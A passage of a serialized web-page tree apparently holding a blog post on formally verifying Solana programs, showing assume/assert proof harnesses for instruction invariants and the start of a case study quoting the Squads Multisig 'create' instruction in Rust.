(",{"type":24,"tag":135,"props":29842,"children":29844},{"className":29843},[11705,11706],[29845],{"type":24,"tag":271,"props":29846,"children":29848},{"className":29847},[11711],[29849],{"type":24,"tag":271,"props":29850,"children":29852},{"className":29851,"ariaHidden":5670},[11716],[29853],{"type":24,"tag":271,"props":29854,"children":29856},{"className":29855},[11721],[29857,29861,29867],{"type":24,"tag":271,"props":29858,"children":29860},{"className":29859,"style":29268},[11726],[],{"type":24,"tag":271,"props":29862,"children":29864},{"className":29863},[11732],[29865],{"type":29,"value":29866},"¬",{"type":24,"tag":271,"props":29868,"children":29870},{"className":29869,"style":29805},[11732,29273],[29871],{"type":29,"value":29808},{"type":29,"value":29873},") or the account post-invariants should hold (",{"type":24,"tag":135,"props":29875,"children":29877},{"className":29876},[11705,11706],[29878],{"type":24,"tag":271,"props":29879,"children":29881},{"className":29880},[11711],[29882],{"type":24,"tag":271,"props":29883,"children":29885},{"className":29884,"ariaHidden":5670},[11716],[29886],{"type":24,"tag":271,"props":29887,"children":29889},{"className":29888},[11721],[29890,29894,29899],{"type":24,"tag":271,"props":29891,"children":29893},{"className":29892,"style":29268},[11726],[],{"type":24,"tag":271,"props":29895,"children":29897},{"className":29896,"style":29274},[11732,29273],[29898],{"type":29,"value":29277},{"type":24,"tag":271,"props":29900,"children":29902},{"className":29901},[11732],[29903],{"type":29,"value":156},{"type":29,"value":29905},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":24,"tag":135,"props":29907,"children":29909},{"className":29908},[11705,11706],[29910],{"type":24,"tag":271,"props":29911,"children":29913},{"className":29912},[11711],[29914],{"type":24,"tag":271,"props":29915,"children":29917},{"className":29916,"ariaHidden":5670},[11716],[29918],{"type":24,"tag":271,"props":29919,"children":29921},{"className":29920},[11721],[29922,29926,29931],{"type":24,"tag":271,"props":29923,"children":29925},{"className":29924,"style":29268},[11726],[],{"type":24,"tag":271,"props":29927,"children":29929},{"className":29928,"style":29274},[11732,29273],[29930],{"type":29,"value":29277},{"type":24,"tag":271,"props":29932,"children":29934},{"className":29933},[11732],[29935],{"type":29,"value":4121},{"type":29,"value":29937},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":25,"props":29939,"children":29940},{},[29941,29943],{"type":29,"value":29942},"So we are trying to prove that ",{"type":24,"tag":135,"props":29944,"children":29946},{"className":29945},[11705,11706],[29947],{"type":24,"tag":271,"props":29948,"children":29950},{"className":29949},[11711],[29951],{"type":24,"tag":271,"props":29952,"children":29954},{"className":29953,"ariaHidden":5670},[11716],[29955,29992,30024],{"type":24,"tag":271,"props":29956,"children":29958},{"className":29957},[11721],[29959,29963,29968,29973,29978,29982,29988],{"type":24,"tag":271,"props":29960,"children":29962},{"className":29961,"style":11831},[11726],[],{"type":24,"tag":271,"props":29964,"children":29966},{"className":29965},[29402],[29967],{"type":29,"value":606},{"type":24,"tag":271,"props":29969,"children":29971},{"className":29970,"style":29274},[11732,29273],[29972],{"type":29,"value":29277},{"type":24,"tag":271,"props":29974,"children":29976},{"className":29975},[11732],[29977],{"type":29,"value":4121},{"type":24,"tag":271,"props":29979,"children":29981},{"className":29980,"style":11811},[11810],[],{"type":24,"tag":271,"props":29983,"children":29985},{"className":29984},[11816],[29986],{"type":29,"value":29987},"∧",{"type":24,"tag":271,"props":29989,"children":29991},{"className":29990,"style":11811},[11810],[],{"type":24,"tag":271,"props":29993,"children":29995},{"className":29994},[11721],[29996,30000,30005,30010,30014,30020],{"type":24,"tag":271,"props":29997,"children":29999},{"className":29998,"style":11831},[11726],[],{"type":24,"tag":271,"props":30001,"children":30003},{"className":30002,"style":29805},[11732,29273],[30004],{"type":29,"value":29808},{"type":24,"tag":271,"props":30006,"children":30008},{"className":30007},[29424],[30009],{"type":29,"value":2693},{"type":24,"tag":271,"props":30011,"children":30013},{"className":30012,"style":11908},[11810],[],{"type":24,"tag":271,"props":30015,"children":30017},{"className":30016},[11913],[30018],{"type":29,"value":30019},"→",{"type":24,"tag":271,"props":30021,"children":30023},{"className":30022,"style":11908},[11810],[],{"type":24,"tag":271,"props":30025,"children":30027},{"className":30026},[11721],[30028,30032,30037],{"type":24,"tag":271,"props":30029,"children":30031},{"className":30030,"style":29268},[11726],[],{"type":24,"tag":271,"props":30033,"children":30035},{"className":30034,"style":29274},[11732,29273],[30036],{"type":29,"value":29277},{"type":24,"tag":271,"props":30038,"children":30040},{"className":30039},[11732],[30041],{"type":29,"value":156},{"type":24,"tag":25,"props":30043,"children":30044},{},[30045],{"type":29,"value":30046},"We can construct a proof harness like the following:",{"type":24,"tag":261,"props":30048,"children":30050},{"code":30049,"language":27149,"meta":7,"className":27150,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[30051],{"type":24,"tag":135,"props":30052,"children":30053},{"__ignoreMap":7},[30054,30062,30079],{"type":24,"tag":271,"props":30055,"children":30056},{"class":273,"line":274},[30057],{"type":24,"tag":271,"props":30058,"children":30059},{"style":288},[30060],{"type":29,"value":30061},"assume(P0)\n",{"type":24,"tag":271,"props":30063,"children":30064},{"class":273,"line":284},[30065,30070,30074],{"type":24,"tag":271,"props":30066,"children":30067},{"style":288},[30068],{"type":29,"value":30069},"res ",{"type":24,"tag":271,"props":30071,"children":30072},{"style":624},[30073],{"type":29,"value":762},{"type":24,"tag":271,"props":30075,"children":30076},{"style":288},[30077],{"type":29,"value":30078}," instruction_handler(...)\n",{"type":24,"tag":271,"props":30080,"children":30081},{"class":273,"line":294},[30082,30086,30090,30095,30100,30105],{"type":24,"tag":271,"props":30083,"children":30084},{"style":749},[30085],{"type":29,"value":27673},{"type":24,"tag":271,"props":30087,"children":30088},{"style":288},[30089],{"type":29,"value":606},{"type":24,"tag":271,"props":30091,"children":30093},{"style":30092},"--shiki-default:#F44747",[30094],{"type":29,"value":1818},{"type":24,"tag":271,"props":30096,"children":30097},{"style":288},[30098],{"type":29,"value":30099},"K ",{"type":24,"tag":271,"props":30101,"children":30102},{"style":30092},[30103],{"type":29,"value":30104},"||",{"type":24,"tag":271,"props":30106,"children":30107},{"style":288},[30108],{"type":29,"value":30109}," P1)\n",{"type":24,"tag":25,"props":30111,"children":30112},{},[30113],{"type":29,"value":30114},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":85,"props":30116,"children":30118},{"id":30117},"positive-instruction-invariant",[30119],{"type":29,"value":30120},"Positive instruction invariant",{"type":24,"tag":25,"props":30122,"children":30123},{},[30124,30126,30132,30134,30185],{"type":29,"value":30125},"Next we need to prove that ",{"type":24,"tag":135,"props":30127,"children":30129},{"className":30128},[],[30130],{"type":29,"value":30131},"success_if",{"type":29,"value":30133}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":135,"props":30135,"children":30137},{"className":30136},[11705,11706],[30138],{"type":24,"tag":271,"props":30139,"children":30141},{"className":30140},[11711],[30142],{"type":24,"tag":271,"props":30143,"children":30145},{"className":30144,"ariaHidden":5670},[11716],[30146,30172],{"type":24,"tag":271,"props":30147,"children":30149},{"className":30148},[11721],[30150,30154,30159,30163,30168],{"type":24,"tag":271,"props":30151,"children":30153},{"className":30152,"style":29268},[11726],[],{"type":24,"tag":271,"props":30155,"children":30157},{"className":30156,"style":29732},[11732,29273],[30158],{"type":29,"value":29735},{"type":24,"tag":271,"props":30160,"children":30162},{"className":30161,"style":11908},[11810],[],{"type":24,"tag":271,"props":30164,"children":30166},{"className":30165},[11913],[30167],{"type":29,"value":30019},{"type":24,"tag":271,"props":30169,"children":30171},{"className":30170,"style":11908},[11810],[],{"type":24,"tag":271,"props":30173,"children":30175},{"className":30174},[11721],[30176,30180],{"type":24,"tag":271,"props":30177,"children":30179},{"className":30178,"style":29268},[11726],[],{"type":24,"tag":271,"props":30181,"children":30183},{"className":30182,"style":29805},[11732,29273],[30184],{"type":29,"value":29808},{"type":29,"value":41},{"type":24,"tag":25,"props":30187,"children":30188},{},[30189],{"type":29,"value":30190},"Just like before we can construct a proof harness:",{"type":24,"tag":261,"props":30192,"children":30194},{"code":30193,"language":27149,"meta":7,"className":27150,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[30195],{"type":24,"tag":135,"props":30196,"children":30197},{"__ignoreMap":7},[30198,30206,30221],{"type":24,"tag":271,"props":30199,"children":30200},{"class":273,"line":274},[30201],{"type":24,"tag":271,"props":30202,"children":30203},{"style":288},[30204],{"type":29,"value":30205},"assume(S)\n",{"type":24,"tag":271,"props":30207,"children":30208},{"class":273,"line":284},[30209,30213,30217],{"type":24,"tag":271,"props":30210,"children":30211},{"style":288},[30212],{"type":29,"value":30069},{"type":24,"tag":271,"props":30214,"children":30215},{"style":624},[30216],{"type":29,"value":762},{"type":24,"tag":271,"props":30218,"children":30219},{"style":288},[30220],{"type":29,"value":30078},{"type":24,"tag":271,"props":30222,"children":30223},{"class":273,"line":294},[30224,30228],{"type":24,"tag":271,"props":30225,"children":30226},{"style":749},[30227],{"type":29,"value":27673},{"type":24,"tag":271,"props":30229,"children":30230},{"style":288},[30231],{"type":29,"value":30232},"(K)\n",{"type":24,"tag":25,"props":30234,"children":30235},{},[30236,30238,30243,30245,30257],{"type":29,"value":30237},"This proof assures that whenever ",{"type":24,"tag":135,"props":30239,"children":30241},{"className":30240},[],[30242],{"type":29,"value":27843},{"type":29,"value":30244}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":10648,"props":30246,"children":30247},{},[30248,30250,30255],{"type":29,"value":30249},"even if ",{"type":24,"tag":135,"props":30251,"children":30253},{"className":30252},[],[30254],{"type":29,"value":27843},{"type":29,"value":30256}," is not satisfied",{"type":29,"value":30258},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":85,"props":30260,"children":30262},{"id":30261},"_3-negative-instruction-invariant",[30263],{"type":29,"value":30264},"3. Negative instruction invariant",{"type":24,"tag":25,"props":30266,"children":30267},{},[30268,30270,30275,30277,30333],{"type":29,"value":30269},"Finally, we want to prove that ",{"type":24,"tag":135,"props":30271,"children":30273},{"className":30272},[],[30274],{"type":29,"value":27850},{"type":29,"value":30276}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":135,"props":30278,"children":30280},{"className":30279},[11705,11706],[30281],{"type":24,"tag":271,"props":30282,"children":30284},{"className":30283},[11711],[30285],{"type":24,"tag":271,"props":30286,"children":30288},{"className":30287,"ariaHidden":5670},[11716],[30289,30315],{"type":24,"tag":271,"props":30290,"children":30292},{"className":30291},[11721],[30293,30297,30302,30306,30311],{"type":24,"tag":271,"props":30294,"children":30296},{"className":30295,"style":29268},[11726],[],{"type":24,"tag":271,"props":30298,"children":30300},{"className":30299,"style":29732},[11732,29273],[30301],{"type":29,"value":29770},{"type":24,"tag":271,"props":30303,"children":30305},{"className":30304,"style":11908},[11810],[],{"type":24,"tag":271,"props":30307,"children":30309},{"className":30308},[11913],[30310],{"type":29,"value":30019},{"type":24,"tag":271,"props":30312,"children":30314},{"className":30313,"style":11908},[11810],[],{"type":24,"tag":271,"props":30316,"children":30318},{"className":30317},[11721],[30319,30323,30328],{"type":24,"tag":271,"props":30320,"children":30322},{"className":30321,"style":29268},[11726],[],{"type":24,"tag":271,"props":30324,"children":30326},{"className":30325},[11732],[30327],{"type":29,"value":29866},{"type":24,"tag":271,"props":30329,"children":30331},{"className":30330,"style":29805},[11732,29273],[30332],{"type":29,"value":29808},{"type":29,"value":41},{"type":24,"tag":25,"props":30335,"children":30336},{},[30337],{"type":29,"value":30338},"This harness looks just like the previous one:",{"type":24,"tag":261,"props":30340,"children":30342},{"code":30341,"language":27149,"meta":7,"className":27150,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[30343],{"type":24,"tag":135,"props":30344,"children":30345},{"__ignoreMap":7},[30346,30354,30369],{"type":24,"tag":271,"props":30347,"children":30348},{"class":273,"line":274},[30349],{"type":24,"tag":271,"props":30350,"children":30351},{"style":288},[30352],{"type":29,"value":30353},"assume(E)\n",{"type":24,"tag":271,"props":30355,"children":30356},{"class":273,"line":284},[30357,30361,30365],{"type":24,"tag":271,"props":30358,"children":30359},{"style":288},[30360],{"type":29,"value":30069},{"type":24,"tag":271,"props":30362,"children":30363},{"style":624},[30364],{"type":29,"value":762},{"type":24,"tag":271,"props":30366,"children":30367},{"style":288},[30368],{"type":29,"value":30078},{"type":24,"tag":271,"props":30370,"children":30371},{"class":273,"line":294},[30372,30376,30380,30384],{"type":24,"tag":271,"props":30373,"children":30374},{"style":749},[30375],{"type":29,"value":27673},{"type":24,"tag":271,"props":30377,"children":30378},{"style":288},[30379],{"type":29,"value":606},{"type":24,"tag":271,"props":30381,"children":30382},{"style":30092},[30383],{"type":29,"value":1818},{"type":24,"tag":271,"props":30385,"children":30386},{"style":288},[30387],{"type":29,"value":30388},"K)\n",{"type":24,"tag":25,"props":30390,"children":30391},{},[30392,30394,30398],{"type":29,"value":30393},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":10648,"props":30395,"children":30396},{},[30397],{"type":29,"value":24068},{"type":29,"value":30399}," the account invariants we expect are always being preserved.",{"type":24,"tag":62,"props":30401,"children":30403},{"id":30402},"case-study-squads-multisig",[30404],{"type":29,"value":30405},"Case study: Squads Multisig",{"type":24,"tag":25,"props":30407,"children":30408},{},[30409,30411,30416],{"type":29,"value":30410},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":32,"props":30412,"children":30414},{"href":26516,"rel":30413},[36],[30415],{"type":29,"value":26520},{"type":29,"value":41},{"type":24,"tag":25,"props":30418,"children":30419},{},[30420,30422,30428,30430,30436],{"type":29,"value":30421},"The program defines a Multisig account (",{"type":24,"tag":135,"props":30423,"children":30425},{"className":30424},[],[30426],{"type":29,"value":30427},"Ms",{"type":29,"value":30429},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":135,"props":30431,"children":30433},{"className":30432},[],[30434],{"type":29,"value":30435},"threshold",{"type":29,"value":30437}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":25,"props":30439,"children":30440},{},[30441],{"type":29,"value":30442},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":25,"props":30444,"children":30445},{},[30446],{"type":29,"value":30447},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":3834,"props":30449,"children":30450},{},[30451,30456,30461,30466],{"type":24,"tag":101,"props":30452,"children":30453},{},[30454],{"type":29,"value":30455},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":101,"props":30457,"children":30458},{},[30459],{"type":29,"value":30460},"Verify threshold requirements",{"type":24,"tag":101,"props":30462,"children":30463},{},[30464],{"type":29,"value":30465},"Verify requirements to remove a member",{"type":24,"tag":101,"props":30467,"children":30468},{},[30469],{"type":29,"value":30470},"Safety guarantees",{"type":24,"tag":85,"props":30472,"children":30474},{"id":30473},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[30475],{"type":29,"value":30476},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":25,"props":30478,"children":30479},{},[30480,30482,30487],{"type":29,"value":30481},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":135,"props":30483,"children":30485},{"className":30484},[],[30486],{"type":29,"value":27843},{"type":29,"value":30488}," expression.",{"type":24,"tag":25,"props":30490,"children":30491},{},[30492,30494,30499,30501,30507],{"type":29,"value":30493},"Creating a multisig (",{"type":24,"tag":135,"props":30495,"children":30497},{"className":30496},[],[30498],{"type":29,"value":30427},{"type":29,"value":30500},") requires invoking the ",{"type":24,"tag":135,"props":30502,"children":30504},{"className":30503},[],[30505],{"type":29,"value":30506},"create",{"type":29,"value":30508}," instruction:",{"type":24,"tag":261,"props":30510,"children":30512},{"code":30511,"language":10717,"meta":7,"className":10718,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[30513],{"type":24,"tag":135,"props":30514,"children":30515},{"__ignoreMap":7},[30516,30533,30588,30618,30626,30634,30651,30702,30751,30759,30800,30807,30823,30856,30898,30905,30912,30931,30959,30979,30999,31027,31046,31054,31082,31102,31122,31129,31137,31169,31192,31226,31233,31240,31248,31289,31321,31328,31335,31343,31417,31449,31456,31463,31499,31511,31523,31535,31588,31596],{"type":24,"tag":271,"props":30517,"children":30518},{"class":273,"line":274},[30519,30524,30529],{"type":24,"tag":271,"props":30520,"children":30521},{"style":288},[30522],{"type":29,"value":30523},"#[derive(",{"type":24,"tag":271,"props":30525,"children":30526},{"style":3887},[30527],{"type":29,"value":30528},"Accounts",{"type":24,"tag":271,"props":30530,"children":30531},{"style":288},[30532],{"type":29,"value":27947},{"type":24,"tag":271,"props":30534,"children":30535},{"class":273,"line":284},[30536,30541,30545,30549,30554,30558,30562,30567,30571,30575,30579,30583],{"type":24,"tag":271,"props":30537,"children":30538},{"style":288},[30539],{"type":29,"value":30540},"#[instruction(threshold",{"type":24,"tag":271,"props":30542,"children":30543},{"style":624},[30544],{"type":29,"value":12210},{"type":24,"tag":271,"props":30546,"children":30547},{"style":3887},[30548],{"type":29,"value":28717},{"type":24,"tag":271,"props":30550,"children":30551},{"style":288},[30552],{"type":29,"value":30553},", create_key",{"type":24,"tag":271,"props":30555,"children":30556},{"style":624},[30557],{"type":29,"value":12210},{"type":24,"tag":271,"props":30559,"children":30560},{"style":3887},[30561],{"type":29,"value":28544},{"type":24,"tag":271,"props":30563,"children":30564},{"style":288},[30565],{"type":29,"value":30566},", members",{"type":24,"tag":271,"props":30568,"children":30569},{"style":624},[30570],{"type":29,"value":12210},{"type":24,"tag":271,"props":30572,"children":30573},{"style":3887},[30574],{"type":29,"value":29075},{"type":24,"tag":271,"props":30576,"children":30577},{"style":288},[30578],{"type":29,"value":801},{"type":24,"tag":271,"props":30580,"children":30581},{"style":3887},[30582],{"type":29,"value":29084},{"type":24,"tag":271,"props":30584,"children":30585},{"style":288},[30586],{"type":29,"value":30587},">)]\n",{"type":24,"tag":271,"props":30589,"children":30590},{"class":273,"line":294},[30591,30595,30599,30604,30609,30614],{"type":24,"tag":271,"props":30592,"children":30593},{"style":278},[30594],{"type":29,"value":21391},{"type":24,"tag":271,"props":30596,"children":30597},{"style":278},[30598],{"type":29,"value":616},{"type":24,"tag":271,"props":30600,"children":30601},{"style":3887},[30602],{"type":29,"value":30603}," Create",{"type":24,"tag":271,"props":30605,"children":30606},{"style":288},[30607],{"type":29,"value":30608},"\u003C'",{"type":24,"tag":271,"props":30610,"children":30611},{"style":3887},[30612],{"type":29,"value":30613},"info",{"type":24,"tag":271,"props":30615,"children":30616},{"style":288},[30617],{"type":29,"value":14997},{"type":24,"tag":271,"props":30619,"children":30620},{"class":273,"line":303},[30621],{"type":24,"tag":271,"props":30622,"children":30623},{"style":288},[30624],{"type":29,"value":30625}," #[account(\n",{"type":24,"tag":271,"props":30627,"children":30628},{"class":273,"line":312},[30629],{"type":24,"tag":271,"props":30630,"children":30631},{"style":288},[30632],{"type":29,"value":30633}," init,\n",{"type":24,"tag":271,"props":30635,"children":30636},{"class":273,"line":321},[30637,30642,30646],{"type":24,"tag":271,"props":30638,"children":30639},{"style":288},[30640],{"type":29,"value":30641}," payer ",{"type":24,"tag":271,"props":30643,"children":30644},{"style":624},[30645],{"type":29,"value":762},{"type":24,"tag":271,"props":30647,"children":30648},{"style":288},[30649],{"type":29,"value":30650}," creator,\n",{"type":24,"tag":271,"props":30652,"children":30653},{"class":273,"line":330},[30654,30659,30663,30667,30671,30676,30680,30685,30689,30693,30697],{"type":24,"tag":271,"props":30655,"children":30656},{"style":288},[30657],{"type":29,"value":30658}," space ",{"type":24,"tag":271,"props":30660,"children":30661},{"style":624},[30662],{"type":29,"value":762},{"type":24,"tag":271,"props":30664,"children":30665},{"style":3887},[30666],{"type":29,"value":28842},{"type":24,"tag":271,"props":30668,"children":30669},{"style":624},[30670],{"type":29,"value":11207},{"type":24,"tag":271,"props":30672,"children":30673},{"style":3887},[30674],{"type":29,"value":30675},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":271,"props":30677,"children":30678},{"style":624},[30679],{"type":29,"value":4253},{"type":24,"tag":271,"props":30681,"children":30682},{"style":288},[30683],{"type":29,"value":30684}," (members",{"type":24,"tag":271,"props":30686,"children":30687},{"style":624},[30688],{"type":29,"value":41},{"type":24,"tag":271,"props":30690,"children":30691},{"style":288},[30692],{"type":29,"value":28708},{"type":24,"tag":271,"props":30694,"children":30695},{"style":624},[30696],{"type":29,"value":627},{"type":24,"tag":271,"props":30698,"children":30699},{"style":288},[30700],{"type":29,"value":30701}," 32),\n",{"type":24,"tag":271,"props":30703,"children":30704},{"class":273,"line":339},[30705,30710,30714,30719,30724,30728,30732,30737,30742,30746],{"type":24,"tag":271,"props":30706,"children":30707},{"style":288},[30708],{"type":29,"value":30709}," seeds ",{"type":24,"tag":271,"props":30711,"children":30712},{"style":624},[30713],{"type":29,"value":762},{"type":24,"tag":271,"props":30715,"children":30716},{"style":288},[30717],{"type":29,"value":30718}," [",{"type":24,"tag":271,"props":30720,"children":30721},{"style":378},[30722],{"type":29,"value":30723},"b\"squad\"",{"type":24,"tag":271,"props":30725,"children":30726},{"style":288},[30727],{"type":29,"value":30553},{"type":24,"tag":271,"props":30729,"children":30730},{"style":624},[30731],{"type":29,"value":41},{"type":24,"tag":271,"props":30733,"children":30734},{"style":288},[30735],{"type":29,"value":30736},"as_ref(), ",{"type":24,"tag":271,"props":30738,"children":30739},{"style":378},[30740],{"type":29,"value":30741},"b\"multisig\"",{"type":24,"tag":271,"props":30743,"children":30744},{"style":288},[30745],{"type":29,"value":8505},{"type":24,"tag":271,"props":30747,"children":30748},{"style":630},[30749],{"type":29,"value":30750},"bump\n",{"type":24,"tag":271,"props":30752,"children":30753},{"class":273,"line":347},[30754],{"type":24,"tag":271,"props":30755,"children":30756},{"style":288},[30757],{"type":29,"value":30758}," )]\n",{"type":24,"tag":271,"props":30760,"children":30761},{"class":273,"line":356},[30762,30766,30771,30775,30780,30784,30788,30792,30796],{"type":24,"tag":271,"props":30763,"children":30764},{"style":278},[30765],{"type":29,"value":28530},{"type":24,"tag":271,"props":30767,"children":30768},{"style":630},[30769],{"type":29,"value":30770}," multisig",{"type":24,"tag":271,"props":30772,"children":30773},{"style":624},[30774],{"type":29,"value":12210},{"type":24,"tag":271,"props":30776,"children":30777},{"style":3887},[30778],{"type":29,"value":30779}," Account",{"type":24,"tag":271,"props":30781,"children":30782},{"style":288},[30783],{"type":29,"value":30608},{"type":24,"tag":271,"props":30785,"children":30786},{"style":3887},[30787],{"type":29,"value":30613},{"type":24,"tag":271,"props":30789,"children":30790},{"style":288},[30791],{"type":29,"value":158},{"type":24,"tag":271,"props":30793,"children":30794},{"style":3887},[30795],{"type":29,"value":30427},{"type":24,"tag":271,"props":30797,"children":30798},{"style":288},[30799],{"type":29,"value":13855},{"type":24,"tag":271,"props":30801,"children":30802},{"class":273,"line":365},[30803],{"type":24,"tag":271,"props":30804,"children":30805},{"emptyLinePlaceholder":16},[30806],{"type":29,"value":327},{"type":24,"tag":271,"props":30808,"children":30809},{"class":273,"line":374},[30810,30815,30819],{"type":24,"tag":271,"props":30811,"children":30812},{"style":288},[30813],{"type":29,"value":30814}," #[account(",{"type":24,"tag":271,"props":30816,"children":30817},{"style":278},[30818],{"type":29,"value":11448},{"type":24,"tag":271,"props":30820,"children":30821},{"style":288},[30822],{"type":29,"value":27947},{"type":24,"tag":271,"props":30824,"children":30825},{"class":273,"line":384},[30826,30830,30835,30839,30844,30848,30852],{"type":24,"tag":271,"props":30827,"children":30828},{"style":278},[30829],{"type":29,"value":28530},{"type":24,"tag":271,"props":30831,"children":30832},{"style":630},[30833],{"type":29,"value":30834}," creator",{"type":24,"tag":271,"props":30836,"children":30837},{"style":624},[30838],{"type":29,"value":12210},{"type":24,"tag":271,"props":30840,"children":30841},{"style":3887},[30842],{"type":29,"value":30843}," Signer",{"type":24,"tag":271,"props":30845,"children":30846},{"style":288},[30847],{"type":29,"value":30608},{"type":24,"tag":271,"props":30849,"children":30850},{"style":3887},[30851],{"type":29,"value":30613},{"type":24,"tag":271,"props":30853,"children":30854},{"style":288},[30855],{"type":29,"value":13855},{"type":24,"tag":271,"props":30857,"children":30858},{"class":273,"line":393},[30859,30863,30868,30872,30877,30881,30885,30889,30894],{"type":24,"tag":271,"props":30860,"children":30861},{"style":278},[30862],{"type":29,"value":28530},{"type":24,"tag":271,"props":30864,"children":30865},{"style":630},[30866],{"type":29,"value":30867}," system_program",{"type":24,"tag":271,"props":30869,"children":30870},{"style":624},[30871],{"type":29,"value":12210},{"type":24,"tag":271,"props":30873,"children":30874},{"style":3887},[30875],{"type":29,"value":30876}," Program",{"type":24,"tag":271,"props":30878,"children":30879},{"style":288},[30880],{"type":29,"value":30608},{"type":24,"tag":271,"props":30882,"children":30883},{"style":3887},[30884],{"type":29,"value":30613},{"type":24,"tag":271,"props":30886,"children":30887},{"style":288},[30888],{"type":29,"value":158},{"type":24,"tag":271,"props":30890,"children":30891},{"style":3887},[30892],{"type":29,"value":30893},"System",{"type":24,"tag":271,"props":30895,"children":30896},{"style":288},[30897],{"type":29,"value":13855},{"type":24,"tag":271,"props":30899,"children":30900},{"class":273,"line":402},[30901],{"type":24,"tag":271,"props":30902,"children":30903},{"style":288},[30904],{"type":29,"value":1171},{"type":24,"tag":271,"props":30906,"children":30907},{"class":273,"line":411},[30908],{"type":24,"tag":271,"props":30909,"children":30910},{"emptyLinePlaceholder":16},[30911],{"type":29,"value":327},{"type":24,"tag":271,"props":30913,"children":30914},{"class":273,"line":420},[30915,30919,30923,30927],{"type":24,"tag":271,"props":30916,"children":30917},{"style":278},[30918],{"type":29,"value":21391},{"type":24,"tag":271,"props":30920,"children":30921},{"style":278},[30922],{"type":29,"value":21396},{"type":24,"tag":271,"props":30924,"children":30925},{"style":598},[30926],{"type":29,"value":14829},{"type":24,"tag":271,"props":30928,"children":30929},{"style":288},[30930],{"type":29,"value":4028},{"type":24,"tag":271,"props":30932,"children":30933},{"class":273,"line":429},[30934,30938,30942,30946,30950,30955],{"type":24,"tag":271,"props":30935,"children":30936},{"style":630},[30937],{"type":29,"value":27912},{"type":24,"tag":271,"props":30939,"children":30940},{"style":624},[30941],{"type":29,"value":12210},{"type":24,"tag":271,"props":30943,"children":30944},{"style":3887},[30945],{"type":29,"value":27977},{"type":24,"tag":271,"props":30947,"children":30948},{"style":288},[30949],{"type":29,"value":801},{"type":24,"tag":271,"props":30951,"children":30952},{"style":3887},[30953],{"type":29,"value":30954},"Create",{"type":24,"tag":271,"props":30956,"children":30957},{"style":288},[30958],{"type":29,"value":13855},{"type":24,"tag":271,"props":30960,"children":30961},{"class":273,"line":438},[30962,30967,30971,30975],{"type":24,"tag":271,"props":30963,"children":30964},{"style":630},[30965],{"type":29,"value":30966}," threshold",{"type":24,"tag":271,"props":30968,"children":30969},{"style":624},[30970],{"type":29,"value":12210},{"type":24,"tag":271,"props":30972,"children":30973},{"style":3887},[30974],{"type":29,"value":28717},{"type":24,"tag":271,"props":30976,"children":30977},{"style":288},[30978],{"type":29,"value":638},{"type":24,"tag":271,"props":30980,"children":30981},{"class":273,"line":447},[30982,30987,30991,30995],{"type":24,"tag":271,"props":30983,"children":30984},{"style":630},[30985],{"type":29,"value":30986}," create_key",{"type":24,"tag":271,"props":30988,"children":30989},{"style":624},[30990],{"type":29,"value":12210},{"type":24,"tag":271,"props":30992,"children":30993},{"style":3887},[30994],{"type":29,"value":28544},{"type":24,"tag":271,"props":30996,"children":30997},{"style":288},[30998],{"type":29,"value":638},{"type":24,"tag":271,"props":31000,"children":31001},{"class":273,"line":455},[31002,31007,31011,31015,31019,31023],{"type":24,"tag":271,"props":31003,"children":31004},{"style":630},[31005],{"type":29,"value":31006}," 